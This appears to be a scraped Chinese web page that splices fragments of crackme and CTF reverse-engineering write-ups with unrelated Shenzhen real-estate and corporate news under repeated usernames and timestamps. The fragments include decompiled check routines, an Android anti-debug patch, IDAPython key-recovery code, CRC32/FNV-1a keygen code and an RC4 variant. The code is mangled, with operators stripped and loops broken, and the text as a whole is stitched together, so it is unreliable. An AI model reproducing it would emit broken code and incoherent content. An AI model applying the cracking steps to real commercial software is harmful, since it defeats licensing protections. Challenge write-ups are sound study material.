,(int)v14);trans_42D96A(v14,(int)v13,1024);v12=3;sm3_42DA78(v14,3u,(int)v11);for(i=0;i32;++i)j__sprintf(v10[2*i],"%02x",v11[i]);v4=j__strlen(v10);v5=String+j__strlen(String);v6=j__strlen(v10);//输入的base64串的后64位与原始字符串的sm3值相等if(!j__memcmp(v10,v5[-v6],v4)){sub_42D0B4();if(sub_42D9AB((int)byte_49B000,(int)v13)==1)MessageBoxA(0,"ok","CrackMe",0);}}return1;}对话框的窗口回调函数。。又是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件。又是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件。,0x01提取apk中的/lib/armeabi-v7a/,0x02IDA反编译,有ptrace和kill(pid,...)反调试机制,将涉及两者的调用指令全部清零,即改为MOVSR0,R0nil指令0x03更新apk中的/lib/armeabi-v7a/,并重新签名0x04IDAadbforwardtcp:23946tcp:23946虚拟机,调试0x05提取异或EOR和base64加密的内部比对注册码xb_rkey前期混淆清除分析可以发现最终比对位置为.text000038D0,调试断下可知librf_:A46D58D0LDRBR2,[R1,R4]librf_:A46D58D2LDRBR3,[R0,R4]librf_:A46D58D4CMPR3,R2R0:异或EOR和BASE64加密的内部xb_rkeyA46F20204A50796A7570336543794A6A6C6B5636JPyjup3eCyJjlkV6A46F2030446D536D4748513D21210A0A00000000DmSmGHQ=!!......R1:异或EOR和BASE64加密的输入xb_ikeyB4B58DE0654B2F30363871525757677A78523878eK/068qRWWgzxR8xB4B58DF04247536D484874734A4D303D00000000BGSmHHtsJM0=....0x06逆向获取异或操作因子xorvector因为:xb_ikey=(ikey^xorvector)所以:xorvector=(xb_ikey)^(xb_ikey)可以从[0x05]处通过xb_ikey解码得到,也可以在base64编码前得到[]check函数在text:00005AFC开始执行base64编码,调试断下R0:(xb_ikey)A48E646078AFF4EBCA91596833C51F310464A61CA48E64707B6C24CD000000000000000000000000在IDAPpython执行下述代码可以得到注册码rkey=madebyericky94528,#0xA48E6460对应于断点处R0值importbase64b=(JPyjup3eCyJjlkV6DmSmGHQ=!!#b=$\xfc\xa3\xba\x9d\xde\x0bc\x96Ez\x0ed\xa6\x18tikey=12345678901234567890xorvector=[]rkeyL=[]foriinxrange(0,17):(Byte(0xA48E6460+i)^ord(ikey[i]))(chr(xorvector[i]^ord(b[i])))PythonrkeyL[m,a,d,e,b,y,e,r,i,c,k,y,9,4,5,2,8](rkeyL)#rkeymadebyericky94528[0x06,0x02]直接利用[0x05]中断点处信息得到注册码importbase64xb_rkey=JPyjup3eCyJjlkV6DmSmGHQ=#x_rkey=()#x_rkey=$\xfc\xa3\xba\x9d\xde\x0bc\x96Ez\x0ed\xa6\x18txb_ikey=eK/068qRWWgzxR8xBGSmHHtsJM0=x_ikey=(xb_ikey)#x_ikey=x\xaf\xf4\xeb\xca\x91Yh3\xc5\x1f1\x04d\xa6\x1c{l$\xcdikey=12345678901234567890xorvector=[]rkeyL=[]foriinxrange(0,17):(ord(x_ikey[i])^ord(ikey[i]))(chr(xorvector[i]^ord(x_rkey[i])))rkey=(rkeyL)printrkey#madebyericky945280x07MORE此方式攻击关键点是获取输入ikey对应的xb_ikey和xb_rkey=JPyjup3eCyJjlkV6DmSmGHQ=,而不同ikey对应不同xb_ikey,都可以用于获取xorvector因子;上述攻击中ikey长度取了20,实际ikey的长度最小应该为x_rkey的长度17,只要得到足够长的xorvector因子即可。。

周恩来2018-5-23 14:42:37

return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:,坪山将打造青年创业家友好型城区上周六,坪山区举办了“龙聚坪山·欢乐嘉年华”活动,来自企业、学校、医院以及政府机关的600多名青年,在舞台上炫了一把技,展现着自己最美的芳华。。福田区成交金额TOP10根据深圳房地产信息网的监测,万科兰江山第瑧山道以55819万元摘取福田区成交金额龙虎榜桂冠,安峦公馆以2450万元取得亚军排名。。

孙休2018-5-23 14:42:37

开发商四个最主要的融资渠道均被监管,甚至是堵死。,  (2)滨海湾新区对接粤港澳大湾区的门户  10月12日,滨海湾新区正式挂牌,面积扩容至平方公里。。5、竞标人承诺营业范围须符合本次招租物业用途即符合业态规划,如发现物业用途不符合业态规划,招租方有拒绝其参加的权利。。

公孙轩辕2018-5-23 14:42:37

22-24层高建筑。,根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。。rc4变形intrc4(char*pSecret,intSecretLen,char*pOut){intia;unsignedchari=0,j=0,t;unsignedchars[256];unsignedchark[256];for(ia=0;ia=255;ia++,i++)s[ia]=i;for(ia=0;ia=255;ia++)k[ia]=((unsignedchar*)pSecret)[ia%SecretLen];for(ia=i=j=0;ia=255;ia++,i++){j=(j+s[i]+k[i])%256;t=s[i];s[i]=s[j];s[j]=t;}unsignedchardata[128]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};for(intl=0;l128;l++){data[l]^=s[l]+s[256-l-1];}//以下部分为验证阶段使用unsignedintres=0;for(intl=0;l128;l++){res+=data[l];}if(res==0x2979){printf(pSecret);getchar();}return0;}。

黄利杰2018-5-23 14:42:37

accountInfo与roleInfo结构体分析如下:00000000accountInfostruc;(sizeof=0x30,align=0x8,mappedto_7)00000000chunkdq00000008usernamedb16dup()00000018passworddb16dup()00000028pRoledq;offset00000030accountInfoends0000003000000000;---------------------------------------------------------------------------0000000000000000roleInfostruc;(sizeof=0x38,mappedto_8)00000000namedb16dup()00000010Healthdq00000018staminadq00000020weightdq00000028placedq00000030pItemInfodq;offset00000038roleInfoends有了这些信息,再来详细看下makeChunk这个函数。,先看下-s选项的处理调用DuplicateTokenEx复制了当前服务程序的token。。这也就意味着房企手里8成的钱都是借来的。。

宣宗宫人2018-5-23 14:42:37

此次亲子活动也让许多追求生活仪式感的业主与客户朋友们,体会到生活中细微的美好。,    有首歌的歌词写道:“偶尔放松又何妨,留一点温馨在心上”;这个周末,龙光·玖钻特邀金牌糕点师,指导众人体验制作美食糕点的乐趣。。中泰集团董事总裁高鹏飞也曾在微博中说过:“凭什么让你的团队心甘情愿追随你?除了要有与能力相匹配的待遇、有丰富多彩健康的生活,能否上下团结奋进、开心高效地工作,也是至关重要。。

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